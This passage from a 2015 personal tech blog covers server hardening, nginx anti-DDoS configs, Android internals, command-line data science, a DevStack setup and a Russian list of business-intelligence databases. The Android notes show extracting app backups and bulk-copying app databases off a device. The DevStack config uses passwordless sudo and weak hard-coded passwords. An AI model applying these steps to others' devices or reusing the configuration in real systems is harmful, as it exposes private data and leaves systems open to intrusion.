DOSEmailNotify [email protected]
DOSWhitelist 111.111.111.111
DOSPageCount 20
DOSSiteCount 100
DOSBlockingPeriod 300

$ a2enmod mod-evasive

# for test
$ perl /usr/share/doc/libapache2-mod-evasive/examples/test.pl

Install Rootkit Checkers

$ apt-get install rkhunter chkrootkit

# /etc/chkrootkit.conf
RUN_DAILY="true"

# /etc/default/rkhunter
CRON_DAILY_RUN="true"
CRON_DB_UPDATE="true"

$ mv /etc/cron.weekly/rkhunter /etc/cron.weekly/rkhunter_update
$ mv /etc/cron.daily/rkhunter /etc/cron.weekly/rkhunter_run
$ mv /etc/cron.daily/chkrootkit /etc/cron.weekly/

Install Logwatch

$ apt-get install logwatch
$ mv /etc/cron.daily/00logwatch /etc/cron.weekly/

# /etc/cron.weekly/00logwatch
/usr/sbin/logwatch --output mail --range 'between -7 days and -1 days'

Automatic Security Updates

# ONLY if you really know what you are doing
$ dpkg-reconfigure -plow unattended-upgrades

Process Accounting

$ apt-get install acct
$ touch /var/log/wtmp

# /etc/cron.weekly/acct-report
#!/bin/bash

echo "USERS' CONNECT TIMES"
echo ""

ac -d -p

echo ""
echo "COMMANDS BY USER"
echo ""

users=$(cat /etc/passwd | awk -F ':' '{print $1}' | sort)

for user in $users ; do
  comm=$(lastcomm --user $user | awk '{print $1}' | sort | uniq -c | sort -nr)
  if [ "$comm" ] ; then
    echo "$user:"
    echo "$comm"
  fi
done

echo ""
echo "COMMANDS BY FREQUENCY OF EXECUTION"
echo ""

sa | awk '{print $1, $6}' | sort -n | head -n -1 | sort -nr

Ubuntu Security Hardening was originally published by EK at EK on July 22, 2015.

Mitigating DDoS Attacks with NGINX

2015-07-20 12:44:24 +0300T00:00:00-00:00

Useful nginx configs for antiddos

Limiting the Rate of Requests

limit_req_zone $binary_remote_addr zone=one:10m rate=30r/m;
server {
    ...
    location /login.html {
        limit_req zone=one;
    ...
    }
}

Limiting the Number of Connections

limit_conn_zone $binary_remote_addr zone=addr:10m;

server {
    ...
    location /store/ {
        limit_conn addr 10;
        ...
    }
}

Closing Slow Connections

server {
    client_body_timeout 5s;
    client_header_timeout 5s;
    ...
}

Blacklisting IP Addresses

location / {
    deny 123.123.123.0/28;
    deny 123.123.123.3;
    deny 123.123.123.5;
    deny 123.123.123.7;
    ...
}

Whitelisting IP Addresses

location / {
    allow 192.168.1.0/24;
    deny all;
    ...
}

Blocking Requests

location /foo.php {
    deny all;
}

location / {
    if ($http_user_agent ~* foo|bar) {
        return 403;
    }
    ...
}

Limiting Connections to Back-Ends

upstream website {
    server 192.168.100.1:80 max_conns=200;
    server 192.168.100.2:80 max_conns=200;
    queue 10 timeout=30s;
}

Mitigating DDoS Attacks with NGINX was originally published by EK at EK on July 20, 2015.

Learning Android

2015-07-17 19:26:55 +0300T00:00:00-00:00

Playing with Android OS

List of usefull software applications:

Links

The architecture of Android is divided into four different layers. At the bottom of it sits the Linux kernel, which has been modified for better performance in a mobile environment.

On top of Linux kernel sits a layer that contains some of the most important and useful libraries as follows:

Surface Manager: This manages the windows and screens
Media Framework: This allows the use of various types of codecs for playback and recording of different media
SQLite: This is a lighter version of SQL used for database management
WebKit: This is the browser rendering engine
OpenGL: This is used to render 2D and 3D contents on the screen properly

No libc, Android has its own library called bionic, which we could think of as a stripped down and modified version of libc for Android. All the applications in Android run under a virtual environment, which is called Dalvik Virtual Machine (DVM). An important point to note here is that from Android Version 4.4, there is also the availability of another runtime called Android Runtime (ART), and the user is free to switch between the DVM and the ART runtime environments.

Dalvik Virtual Machine is similar to Java Virtual Machine (JVM), apart from features such as it is register-based, instead of stack-based. If we are running three different applications, there will be three different virtual instances. The Dalvik Virtual Machine executes a file format called .dex or Dalvik Executable.

Playing with Android Debug Bridge (ADB)

Enable USB Debugging on your phone or device: Go to Settings –> About Phone tap “Build Number” until you get a popup that you have become a developer (about 10 times). Then go to Settings –> Developer –> USB debugging and enable it.

$ adb devices
$ adb shell
$ shell@hammerhead:/ $ ps
$ adb devices
$ adb shell pm list packages
$ dumpsys meminfo
$ adb logcat -d -f /data/local/logcats.log

# print the properties of the device
adb shell getprop

# pm to list all the packages
adb shell pm list packages

# take a backup of any application we need
adb backup [package name] -f [destination file name]
dd if=aplication.ab bs=24 skip=1 | openssl zlib -d > application.tar
tar xzf application.tar

# dumping and analyze application databases manually
the application files are stored at  /data/data/[application package name]/
find /data/data/* -name "*.db" -type f
find /data/data/* -name "*.db" -type f -exec cp {} /mnt/sdcard/BackupDBS \;

# run avd from cli
$ emulator -avd [name of the avd] -http-proxy 127.0.0.1:808

Every time a new application is initiated in the Android device, it is assigned a unique User ID (UID), which will further belong to some or the other group that is pre-defined. The groups and the permissions inside it are specified in the file in our device named platform.xml located at /system/etc/permissions/.

The applications data that we install from the Play Store or any other source will be located at /data/data , whereas their original installation file, that is, .apk will be stored at /data/app. Also, there are some applications that need to be purchased from the Play Store instead of just downloading it for free. These applications will be stored at /data/app-private/. To list this dir you need to be a root. Rooting a device means we have full access and control over the entire device, which means we could see as well as modify any files we wish

An Android application permissions specified in a file called AndroidManifest.xml. This file contains a list of various application-related information such as the minimum Android version required to run the program, the package name, the list of activities (screens in the application visible to the user), services (background processes of the application), and permissions required.

There is no Certificate Authority; instead the developers self-created certificate could sign the applications. Once the application has been uploaded, it goes for verification to Google Bouncer, which is a virtual environment created to check whether an application is malicious or legitimate. Once the check is done, the app then appears in the Play Store. Google does no signing of the application in this case.

We could check the signature of the application and find out who signed the application:

$ jarsigner -verify -certs -verbose testing.apk
# or parse out the ASCII content of the CERT.RSA file
$ unzip testing.apk
$ cd META-INF
$ openssl pkcs7 -in CERT.RSA -print_certs -inform DER -out out.cer
$ cat out.cer

The bootloader boots up the kernel, and launches init , it mounts some of the important directories required for the functioning of the Android system such as /dev, /sys, and /proc. Also, init takes the configuration for itself from the configuration files init.rc and init.[device-name].rc

We can get specific information about the device, by checking the build.prop file at /system location

Once everything is loaded, init finally loads up a process known as Zygote, which is responsible for loading up the Dalvik Virtual Machines with shared libraries and minimum footprint to enable faster loading of the overall processes.

An Android application is an archive file of the data and resource files created. while developing the application. The extension of an Android application is .apk, meaning application package, which includes the following files and folders in most cases:

Classes.dex (file)
AndroidManifest.xml (file)
META-INF (folder)
resources.arsc (file)
res (folder)
assets (folder)
lib (folder)

An Android application consists of various components: Activities, Services, Broadcast, Receivers, Content providers, and Shared Preferences. We cant simply unzip the archive package ( .apk ) and get the readable sources.

To convert byte codes to readable files is using a tool called dex2jar:

# open converted jar with JD-GUI to see source code
http://jd.benow.ca/

# converting the .dex file to smali file
https://code.google.com/p/smali/w/list

# decompiling application using Apktool
$ apktool d WhatsApp.apk

# defining application content provider  AndroidManifest.xml
<provider
android:name="com.test.example.DataProvider"
android:authorities ="com.test.example.DataProvider">
</provider>

# install apk with adb
$ adb install app.apk

Learning Android was originally published by EK at EK on July 17, 2015.

Data Science at the Command Line

2015-07-10 17:18:00 +0300T00:00:00-00:00

Notes from book

Urls

CH02 - Getting Started

# install tools
mkdir datascience
cd datascience
vagrant init data-science-toolbox/data-science-at-the-command-line
vagrant up

# github
git clone https://github.com/jeroenjanssens/data-science-at-the-command-line.git

# jq
https://stedolan.github.io/jq/download/

# json2csv
https://github.com/jehiah/json2csv
go get github.com/jehiah/json2csv

# xml2json
https://github.com/buglabs/node-xml2json

# csvkit
pip install csvkit (in2csv, sql2csv, csvlook, csvsql)

CH03 - Obtaining Data

# playing with some cli tools

parallel -j1 --progress --delay 0.1 --results results "curl -sL ""'http://api.nytimes.com/svc/search/v2/articlesearch.json?q=New+York+'""'Fashion+Week&begin_date={1}0101&end_date={1}1231&page={2}&api-key='""'<your-api-key>'" ::: {2009..2013} ::: {0..99} > /dev/null

cat results/1/*/2/*/stdout | jq -c '.response.docs[] | {date: .pub_date, type: .document_type, ''title: .headline.main }' | json2csv -p -k date,type,title > fashion.csv

< fashion.csv cols -c date cut -dT -f1 | head | csvlook

< fashion.csv Rio -ge 'g + geom_freqpoly(aes(as.Date(date), color=type), ''binwidth=7) + scale_x_date() + labs(x="date", title="Coverage of New York'' Fashion Week in New York Times")' | display

# in2csv - able to convert Microsoft Excel spreadsheets to CSV files
$ in2csv data/imdb-250.xlsx > data/imdb-250.csv

# csvlook - nicely format the data into a table
$ in2csv data/imdb-250.xlsx | head | csvcut -c Title,Year,Rating | csvlook

# sql2csv - querying relational databases
$ sql2csv --db 'sqlite:///data/iris.db' --query 'SELECT * FROM iris ''WHERE sepal_length > 7.5'

# jq - commandline JSON processor
$ curl -s http://api.randomuser.me | jq '.'

# curlicue - to log in api using the OAuth protocol
$ curlicue-setup 'https://api.twitter.com/oauth/request_token' 'https://api.twitter.com/oauth/authorize?oauth_token=$oauth_token' 'https://api.twitter.com/oauth/access_token' > credentials
$ curlicue -f credentials 'https://api.twitter.com/1/statuses/home_timeline.xml'

CH05 - Scrubbing Data

# create file that contains 10 lines
$ seq -f "Line %g" 10 | tee lines

# print the first three lines
$ < lines head -n 3
$ < lines sed -n '1,3p'
$ < lines awk 'NR<=3'

# print the last three lines
$ < lines tail -n 3

# remove the first three lines
$ < lines tail -n +4
$ < lines sed '1,3d'
$ < lines sed -n '1,3!p

# remove last three lines
$ < lines head -n -3

# print (or extract) specific lines
$ < lines sed -n '4,6p'
$ < lines awk '(NR>=4)&&(NR<=6)'
$ < lines head -n 6 | tail -n 3

# print odd numbered lines
$ < lines sed -n '1~2p'
$ < lines awk 'NR%2

# print even numbered lines
$ < lines sed -n '0~2p'
$ < lines awk '(NR+1)%2'

# grep pattern
$ grep -E '^CHAPTER (.*)\. The' alice.txt

# outputting only a certain percentage of data
$ seq 1000 | sample -r 1% | jq -c '{line: .}'
$ seq 10000 | sample -r 1% -d 1000 -s 5 | jq -c '{line: .}'

# extract fields
$ grep -i chapter alice.txt | cut -d' ' -f3-
$ sed -rn 's/^CHAPTER ([IVXLCDM]{1,})\. (.*)$/\2/p' alice.txt > /dev/null

# remove set of characters
$ grep -i chapter alice.txt | cut -c 9-

# create a data set of all the words that start with an “a”
$ < alice.txt tr '[:upper:]' '[:lower:]' | grep -oE '\w{2,}' | grep -E '^a.*e$' | sort | uniq -c | sort -nr | awk '{print $2","$1}' | header -a word,count | head | csvlook

# one character needs to be replaced
$ echo 'hello world!' | tr ' !' '_?'

# to delete individual characters
$ echo 'hello world!' | tr -d -c '[a-z]'

# convert our text to uppercase
$ echo 'hello world!' | tr '[a-z]' '[A-Z]'
$ echo 'hello world!' | tr '[:lower:]' '[:upper:]

# to change a word, remove repeated spaces, and remove leading spaces
$ echo ' hello world!' | sed -re 's/hello/bye/;s/\s+/ /g;s/\s+//'

# with body cmd you can apply any command-line tool to the file (i.e., everything excluding the header)
$ echo -e "value\n7\n2\n5\n3" | body sort -n
$ seq 5 | header -a count | body wc -l

# header cmd allows us, as the name implies, to manipulate the header of a CSV file
$ < tips.csv header
$ seq 5 | header -a count
$ < iris.csv header -d | head
$ < iris.csv  header -e 'tr "[:lower:]" "[:upper:]"'|head
$ seq 5 | header -a line | body wc -l | header -r count

# cols cmd allows you to apply a certain command to only a subset of the columns
$ < tips.csv cols -c day body "tr '[a-z]' '[A-Z]'" | head -n 5 | csvlook

# csvsql allows you to execute SQL queries directly on CSV files
$ seq 5 | header -a value | csvsql --query "SELECT SUM(value) AS sum FROM stdin"
$ seq 5 | header -a value | csvsql --query "SELECT * FROM stdin"
$ < iris.csv csvsql --query "SELECT sepal_length, petal_length, sepal_width, petal_width FROM stdin" | csvlook

# change the attribute "gender" to "sex" using sed
$ sed -e 's/"gender":/"sex":/g' data/users.json | fold | head -n 3

# working with HTML/XML and JSON
$ curl -sL 'http://en.wikipedia.org/wiki/List_of_countries_and_territories_by_border/area_ratio' > wiki.html
$ < wiki.html scrape -b -e 'table.wikitable > tr:not(:first-child)'
$ < table.html xml2json > table.json
$ < table.json jq '.' | head -n 25
$ < table.json jq -c '.html.body.tr[] | {country: .td[1][],border:.td[2][], surface: .td[3][]}' > countries.json
$ < countries.json json2csv -p -k country,border,surface > countries.csv
$ < countries.json json2csv -p -k country,border,surface |csvlook|head -10
$ < countries.json json2csv -p -k country,border,surface |cols -c country body "tr '[a-z]' '[A-Z]'"

# csvcut cmd allow to extracted and reordered colums
$ < iris.csv csvcut -c sepal_length,petal_length,sepal_width,petal_width

# exclude all the bills of which the party size was 4 or less
$ csvgrep -c size -i -r "[1-4]" tips.csv | csvlook
$ < tips.csv awk -F, '($1 > 40.0) && ($5 ~ /S/)' | csvlook
$ < tips.csv csvsql --query "SELECT * FROM stdin WHERE bill > 40 AND day LIKE '%S%'" | csvlook

# merging columns
$ < names.csv csvsql --query "SELECT id, first_name || ' ' || last_name AS full_name, born FROM stdin" | csvlook

# splitting up Iris data set into three CSV files
$ < iris.csv fieldsplit -d, -k -F species -p . -s .csv

# concatenate the files back using cat
$ cat Iris-setosa.csv <(< Iris-versicolor.csv header -d) <(< Iris-virginica.csv header -d) | sed -n '1p;49,54p' | csvlook

# csvjoin cmd allow to join the two data sets
$ csvjoin -c species iris.csv irismeta.csv | csvcut -c sepal_length,sepal_width,species,usda_id | sed -n '1p;49,54p' | csvloo

CH06 - Managing Your Data Workflow

# drake is command-line tool created by Factual that allows you to:
• Formalize your data workflow steps in terms of input and output dependencies
• Run specific steps of your workflow from the command line
• Use inline code (e.g., Python and R)
• Store and retrieve data from external sources (e.g., S3 and HDFS)

$ sudo apt-get install openjdk-6-jdk
$ sudo apt-get install leiningen
$ git clone https://github.com/Factual/drake.git
$ cd drake
$ lein uberjar
$ mv drake.jar ~/.bin/
$ cd ~/.bin/
$ java -jar drake.jar
$ git clone https://github.com/flatland/drip.git
$ cd drip
$ make prefix=~/.bin install
$ cd bin
$ wget https://github.com/jeroenjanssens/data-science-at-the-command-line/blob/master/tools/drake

# top 5 downloaded books of Project Gutenberg
$ curl -s 'http://www.gutenberg.org/browse/scores/top' | grep -E '^<li>' | head -n 5 | sed -E "s/.*ebooks\/([0-9]+).*/\\1/"

# same step with Drakefile
top-5 <-
        curl -s 'http://www.gutenberg.org/browse/scores/top' |
        grep -E '^<li>' |
        head -n 5 |
        sed -E "s/.*ebooks\/([0-9]+)\">([^<]+)<.*/\\1,\\2/" > top-5
$ drake

# add variables to drake 02.drake
NUM=5
BASE=data/

top.html <- [-timecheck]
        curl -s 'http://www.gutenberg.org/browse/scores/top' > $OUTPUT

top-$[NUM] <- top.html
        < $INPUT grep -E '^<li>' |
        head -n $[NUM] |
        sed -E "s/.*ebooks\/([0-9]+)\">([^<]+)<.*/\\1,\\2/" > $OUTPUT
$ drake --debug -w 02.drake
$ NUM=10 drake -w 02.drake

CH07 - Exploring Data

# to get the number of unique values for each column
$ csvstat data/investments2.csv --unique

# csvstat gives a lot of information
$ csvstat data/datatypes.csv
$ csvstat data/investments2.csv -c 2,13,19,24

CH08 - Parallel Pipelines

# looping over files
$ find data -name '*.csv' -print0 | parallel -0 echo "Processing {}"

# simple parallel processing
$ for i in {1..4}; do;(./slow.sh $i; echo Processed $i) &;done

# parallel - cli tool that allows us to parallelize commands and pipelines
$ seq 5 | parallel "echo {}^2 | bc"
$ < input.csv parallel -C, "mv {1} {2}"
$ < input.csv parallel -C, --header : "invite {name} {email}"
$ seq 5 | parallel -j0 "echo Hi {}"
$ seq 5 | parallel "echo \"Hi {}\" > data/hi-{}.txt"
$ seq 5 | parallel --results data/outdir "echo Hi {}"
$ seq 100 | parallel -C, -k -j100% "echo '{1}^2' | bc -l"|tail

# awscli
pip install awscli
# Getting Your Access Key ID and Secret Access Key
https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSGettingStartedGuide/AWSCredentials.html
aws configure
aws ec2 describe-instances
aws ec2 describe-instances | jq '.Reservations[].Instances[] | {public_dns: .PublicDnsName, state: .State.Name}'
aws ec2 describe-instances | jq -r '.Reservations[].Instances[] | select(.State.Name=="running") | .PublicDnsName' > instances

# running commands on remote machines
$ parallel --nonall --slf instances hostname
$ parallel --nonall --slf instances "sudo apt-get install -y parallel"

# Distributing Local Data Among Remote Machines
$ seq 1000 | parallel -N100 --pipe --slf hosts "(hostname; wc -l) | paste -sd:"

CH09 - Modeling Data

# obtain the two data sets using  curl
$ parallel "curl -sL http://archive.ics.uci.edu/ml/machine-learning-databases/wine-quality/winequality-{}.csv > wine-{}.csv" ::: red white

Data Science at the Command Line was originally published by EK at EK on July 10, 2015.

Playing with DevStack

2015-07-07 14:09:37 +0300T00:00:00-00:00

Learn how to install DevStack

DevStack Site

Add stack user

useradd -G sudo -m -U -s /bin/bash stack
passwd stack

Add user sudo permissions

/etc/sudoers
stack ALL=(ALL:ALL) NOPASSWD: ALL

System configuration for KVM

#we will use KVM
sudo rmmod kvm-intel
sudo sh -c "echo 'options kvm-intel nested=y' >> /etc/modprobe.d/dist.conf"
sudo modprobe kvm-intel
cat /sys/module/kvm_intel/parameters/nested
modinfo kvm_intel | grep nested

Download DevStack

sudo apt-get install -y git
git clone https://github.com/openstack-dev/devstack.git -b stable/kilo && cd devstack
sudo mkdir /var/log/openstack
sudo chown stack:stack /var/log/openstack

Create DevStack config

local.conf
[[local|localrc]]
HOST_IP=192.168.0.250                        # Controller IP
FLAT_INTERFACE=p2p1                          # Outside interface
FIXED_RANGE=10.10.128.0/24                   # Virtual network
FIXED_NETWORK_SIZE=254                       # Virtual network size
FLOATING_RANGE=192.168.0.0/24                # Outside network
LOGFILE=/var/log/openstack/stack.sh.log      # Log directory
LOGDAYS=3
ADMIN_PASSWORD=admin
MYSQL_PASSWORD=P@ssw0rd
RABBIT_PASSWORD=P@ssw0rd
SERVICE_PASSWORD=P@ssw0rd
SERVICE_TOKEN=AAAAB3NzaC1yc2EAAAADAQABAAABAQCyYjfgyPazTvGpd8OaAvtU2utL8W6gWC4JdRS1J95G
REGION_NAME=DevStack                         # Region Name
LIBVIRT_TYPE=kvm                             # Use KVM
VOLUME_BACKING_FILE_SIZE=200G

Setup DevStack

./stack.sh

# after you will see
Horizon is now available at http://192.168.0.250/
Keystone is serving at http://192.168.0.250:5000/v2.0/
Examples on using novaclient command line is in exercise.sh
The default users are: admin and demo
The password: admin
This is your host ip: 192.168.0.250

Add LVM volume

sudo losetup -a
# add to /etc/rc.local
losetup /dev/loop0 /opt/stack/data/stack-volumes-lvmdriver-1-backing-file

Reboot and Check

# after reboot
cd /home/stack/devstack && ./rejoin-stack.sh

OpenStack images

Playing with DevStack was originally published by EK at EK on July 07, 2015.

Открытые базы данных РФ

2015-07-04 00:03:54 +0300T00:00:00-00:00

Полезные ссылки для конкурентной разведки в России.

https://www.cbr.ru/ - информация ЦБ по бюро кредитных историй, внесенных в государственный реестр.
http://www.gks.ru/accounting_report – предоставление данных бухгалтерской отчетности по запросам пользователей от Федеральной службы государственной статистики.
http://www.tks.ru/db/ – таможенные онлайн базы данных.
http://tipodop.ru/ - очередной каталог предприятий, организаций в России.
http://www.catalogfactory.org/ – организации России – финансовые результаты, справочные данные и отзывы. Данные в настоящее время доступны по 4,8 млн.организаций.
http://pravo.ru/ – справочно-информационная система, включающая в настоящее время 40 млн. законодательных, нормативных и поднормативных актов Российской Федерации.
http://www.tks.ru/db/ – обширные базы данных, связанные с таможенным и логистическим бизнесом.
http://azstatus.ru/ – информационная база данных, в которой содержится информация обо всех предпринимателях Российской Федерации, а также информация о российских компаниях (юридические лица). Всего в справочнике более 10 миллионов записей.
http://seldon.ru/ – информационно-аналитическая система, значительно упрощающая и систематизирующая работу с закупками.
http://www.reestrtpprf.ru/ – реестр надежных партнеров от системы Торгово-промышленных палат в Российской Федерации.
http://iskr-a.com/ – сообщество безопасников и платформа для информационного взаимодействия в одном флаконе.
http://gosmonitor.ru/ – мониторинг государственных сайтов.
http://www.ruscentr.com/ - реестр базовых организаций российской экономики, добросовестных поставщиков и бюджетоэффективных заказчиков (организаций).
http://www.pravo.fso.gov.ru/ – государственная система правовой информации.
https://www.aips-ariadna.com/ – антикриминальная онлайн система учета по России и СНГ. Относится к тому же ценовому сегменту, что и «Контур Фокус» и т.п., и отличается от других систем большим уклоном в судебные и правоохранительные данные. Ориентирована прежде всего на службу безопасности.
http://188.254.71.82/rds_ts_pub/ – единый реестр зарегистрированных деклараций РФ.
http://www.ruscentr.com/ – федеральный реестр добросовестных поставщиков, а также данные по финансово устойчивым организациям и реестр базовых организаций российской экономики.
http://croinform.ru/index.php – сервис проверки клиентов, конкурентов, партнеров и контрагентов в режиме реального времени 24/7, в т.ч. со смартфона. Цены вполне человеческие. Сервис знаменитого Кроноса.
http://www.zakupki.gov.ru/epz/main/public/home.html – официальный сайт Российской Федерации для размещения информации о размещении заказов на поставки товаров, выполнение работ, оказание услуг.
http://multistat.ru – многофункциональный статистический портал.
http://rostender.info/ – ежедневная рассылка новых тендеров в соответствии с отраслевыми и региональными настройками.
http://pravo.fso.gov.ru/ – государственная система правовой информации. Позволяет быть в курсе всех новых правовых актов. Имеет удобный поисковик.
http://bir.1prime.ru/ – информационно-аналитическая система «Бир-аналитик» позволяет осуществлять поиск данных и проводить комплексный анализ по всем хозяйствующим субъектам России, включая компании, кредитные организации, страховые общества, регионы и города.
http://www.prima-inform.ru/ – прямой доступ к платным и бесплатным информационным ресурсам различных, в т.ч. контролирующих организаций. Позволяет получать документы и сводные отчеты, информацию о российских компаниях, индивидуальных предпринимателях и физических лицах, сведения из контролирующих организаций. Позволяет проверять субъектов на аффилированность и многое другое.
http://www.akm.ru/ – портал финансовых данных по компаниям, ценным бумагам, значимым событиям финансово-экономической жизни.
http://www.integrum.ru/ –портал для конкурентной разведки с самым дружественным интерфейсом. Содержит максимум информации, различных баз данных, инструментов мониторинга и аналитики. Позволяет компании в зависимости от ее нужд, размеров и бюджета выбирать режим пользования порталом.
www.spark-interfax.ru – портал обладает необходимой для потребностей конкурентной разведки полнотой баз данных, развитым функционалом, постоянно добавляет новые сервисы.
http://www.fira.ru/ – молодой быстроразвивающийся проект, располагает полной и оперативной базой данных предприятий, организаций и регионов. Имеет конкурентные цены.
http://www.skrin.ru портал информации об эмитентах ценных бумаг. Наряду с обязательной информацией об эмитентах содержит базы обзоров предприятий, отраслей, отчетность по стандартам РБУ, ГААП, ИАС. ЗАО “СКРИН” является организацией, уполномоченной ФСФР.
http://www.magelan.pro/– портал по тендерам, электронным аукционам и коммерческим закупкам. Включает в себя качественный поисковик по данной предметной сфере.
http://www.bicotender.ru/ - самая полная поисковая система тендеров и закупок по России и странам СНГ.
http://sophist.hse.ru/ – единый архив экономических и социологических данных по российской Федерации от НИУ ВШЭ.
http://msk.2gis.ru/ – отличная бесплатная геоинформационная система по 200 городам России, Украины, Казахстана и Италии. Включает все необходимые актуальные данные о компаниях.
http://www.tenderguru.ru/– национальный тендерный портал, представляет собой единую базу государственных и коммерческих тендеров с ежедневной рассылкой анонсов по объявленным тендерам.
http://www.moscowbase.ru/ - поддерживаемые в состоянии постоянной актуальности адресно-телефонные базы данных по компаниям Москвы и России. Уникальным продуктом компании являются базы данных новых компаний, появившихся в течение двух последних кварталов. В данные включается вся стандартная информация, предоставляемая платными онлайн базами, плюс актуальные внутренние телефоны и e-mail.
http://marketing1.ru/ – наиболее полный ресурс данных по таможенной статистике стран СНГ и Китая. Данные представляются в разрезе предприятий, оформляемой продукции, а также сведений о перевозках.
http://naydu.com.ua/ – портал открытых государственных баз данных Украины, Российской Федерации, Казахстана, Белоруссии и Молдовы.
http://www.credinform.ru/ru-RU/globas - информационно-аналитическая система ГЛОБАС – содержит данные о семи миллионах компаний. Предназначена для комплексной информационной поддержке бизнеса и создания комплексных аналитических отчетов.
http://www.actinfo.ru/ – отраслевой бизнес-справочник предприятий России по их актуальным почтовым адресам и контактным телефонам. Единственный справочник, который включает контактные данные по предприятиям, созданным в предыдущем квартале.
http://www.sudrf.ru/ -государственная автоматизированная система РФ «Правосудие».
http://docs.pravo.ru/ – справочно-правовая система Право.ру. Предоставляет полный доступ к нормативным документам любых субъектов Российской Федерации, а также к судебной практике арбитражных судов и мнениям экспертов любых юридических областей. Ежемесячная плата для работы с полной базой документов составляет 500 руб.
http://www.egrul.com/ – платные и бесплатные сервисы поиска по ЕГРЮЛ, ЕГРИП, ФИО, балансам предприятий и др. параметрам. Одно из лучших соотношений цены и качества.
http://www.fedresurs.ru/ – единый федеральный реестр сведений о фактах деятельности юридических лиц.
http://www.findsmi.ru/ – бесплатный сервис поиска данных по 65 тыс. региональных СМИ.
http://www.actimpex.ru/ – бизнес-справочник компаний, занимающихся импортом-экспортом.
http://hub.opengovdata.ru/ – хаб, содержащий открытые государственные данные всех уровней, всех направлений. Проект Ивана Бегтина.
http://www.ruward.ru/ – ресурс агрегатор всех рейтингов Рунета. В настоящее время уже содержит 46 рейтингов и более 1000 компаний из web и PR индустрии.
http://cardomat.ru/card – самый большой открытый бизнес-справочник и биржа контактов Рунета.
http://www.b2b-energo.ru/firm_dossier/- информационно-аналитическая и торгово-операционная система рынка продукции, услуг и технологий для электроэнергетики.
http://www.kartoteka.ru/search/ – система «Картотека Коммерсант», объединяющая в себе пополняемую в режиме онлайн базу сведений о юридических лицах и поисковик по юридическим лицам и существенным событиям в их жизни.
http://www.interbiztrader.com/ – каталог предприятий России и СНГ, включая Беларусь, Казахстан, Кыргызстан, Молдову, Узбекистан и Украину.
http://inforotor.ru/ – удобный бесплатный агрегатор информации онлайн СМИ по компаниям и людям.
http://www.b2b-base.ru/ – сертифицированные постоянно актуализируемые региональные и отраслевые базы данных компаний России на внешних носителях. Имеется возможность заказывать базы данных по индивидуальным критериям и т.п.
http://news.yandex.ru/smi/ – наиболее полная, интерактивная, постоянно обновляемая база данных СМИ и информационных агентств, имеющих собственные интернет-порталы.
http://www.kontragent.info/ – ресурс предоставляет информацию о реквизитах контрагентов и реквизитах, соответствующих ведению бизнеса.
http://www.ist-budget.ru/ – веб-сервис по всем тендерам, госзаказам и госзакупкам России. Включает бесплатный поисковик по полной базе тендеров, а также недорогой платный сервис, включающий поиск с использованием расширенных фильтров, по тематическим каталогам. Кроме того, пользователи портала могут получать аналитические отчеты по заказчикам и поставщикам по тендерам. Есть и система прогнозирования возможных победителей тендеров.
http://www.vuve.su/ - портал информации об организациях, предприятиях и компаниях, ведущих свою деятельность в России и на территории СНГ. На сегодняшний день база портала содержит сведения о более чем 1 млн. организаций.
http://www.disclosure.ru/index.shtml - система раскрытия информации на рынке ценных бумаг Российской Федерации. Включает отчетность эмитентов, существенные новости, отраслевые обзоры и анализ тенденций.
http://fedstat.ru/indicators/start.do – единая межведомственная информационно-статистическая система РФ. Представляет собой интегрированный статистический ресурс, использующий статистические данные всех уровней. В системе возможен поиск данных по ведомствам, признакам, наименованиям и т.п.
http://www.faust-information.com/ -крупнейший онлайн ресурс международных каталогов бизнеса, телефонных справочников и «желтых страниц». Поставляется онлайн и на дисках. Имеет русскоязычный вариант. Продается в России.
http://www.mosstat.ru/index.html – бесплатные и платные онлайн базы данных и сервисы по ЕГРПО и ЕГРЮЛ Москвы и России, а также бухгалтерские балансы с 2005 года по настоящее время. По платным базам самые низкие тарифы в Рунете. Хорошая навигация, удобная оплата, качественная и оперативная работа.
http://www.torg94.ru/ – качественный оперативный и полезный ресурс по госзакупкам, электронным торгам и госзаказам.
http://www.k-agent.ru/ – база данных «Контрагент». Состоит из карточек компаний, связанных с ними документов, списков аффилированных лиц и годовых бухгалтерских отчетов. Документы по компаниям представлены с 2006 г. Цена в месяц 900 руб. Запрашивать данные можно на сколь угодно много компаний.
http://www.b-f-b.ru/ – предоставлена большая гамма полнофункциональных и разнообразных баз данных на носителях по предприятиям, включая иностранные компании и компании с иностранным участием в России. По соотношению цена/качество базы интересны для конкурентных разведчиков и не только.
http://www.neostatis.ru/ - первоклассная, постоянно поддерживаемая в актуальном состоянии и конфигурируемая под конкретные нужды он-лайн база по внешнеэкономической деятельности.
http://polpred.com/ – базы данных экономики и права, СМИ и аналитика. Работает в бесплатном и платном режимах. Особенно хорошо структурирована информация по странам.
http://www.sravni.ru/ – собственно не база, но наиболее точные и оперативно пополняемая в Рунете информация о рейтингах банков, условиях кредитования и т.п.
http://www.is-zakupki.ru/ – информационная система государственных и коммерческих закупок. В системе собрана наиболее полная информация по государственным, муниципальным и коммерческим закупкам по всей территории РФ. Очень удобна в работе, имеет много дополнительных сервисов и, что приятно, абсолютно разумные, доступные даже для малого бизнеса цены.
http://www.ar-system.ru/index.php - поисковая система “ДОФИН – Аналитик” (ИПС “ДОФИН”) предназначена для поиска и анализа информации различного характера, содержащейся в специально отобранных и нормализованных базах данных.
www.businessinfo.ru – он-лайн и офф-лайн базы данных по юридическим и физическим лицам России. Особо подробные базы данных по Москве, Санкт-Петербургу и ЦФО.
www.rbc.ru – портал крупнейшего агентства. Раздел Исследования содержит наиболее полную в России базу данных маркетинговых исследований отраслей, регионов, а также электронных баз данных и справочников. Раздел еженедельно пополняется.
http://www.saex.ru/ – персонализированное средство управления деловой контактной информацией. В базе собраны топ-менеджеры, руководители функциональных и структурных подразделений, профессионалы в самых различных сферах и отраслях деятельности. Действует как своеобразная биржа контактов. Контакты можно купить, можно обменять. База постоянно пополняется.
http://salespring.ru/ – открытая пополняемая база данных деловых контактов предприятий России и СНГ и их сотрудников. Функционирует как своеобразная биржа контактов.
http://proreport.ru/ – представляет собой частично бесплатную, частично платную библиотеку интерактивных отчетов и докладов и инструменты для работы с ними. Пока, как ни странно, бесплатные отчеты даже интереснее платных. Рекомендую маркетерам и конкурентным разведчикам.
www.multistat.ru – многофункциональный статистический портал. Официальный портал ГМЦ Росстата.
http://www.tadviser.ru/ - практически исчерпывающая база российских и зарубежных компаний-производителей харда и софта, действующих в России. Включает не только ссылки на сайты, но и ключевые контактные данные, списки топ-менеджеров и по большинству компаний – новостные ленты.
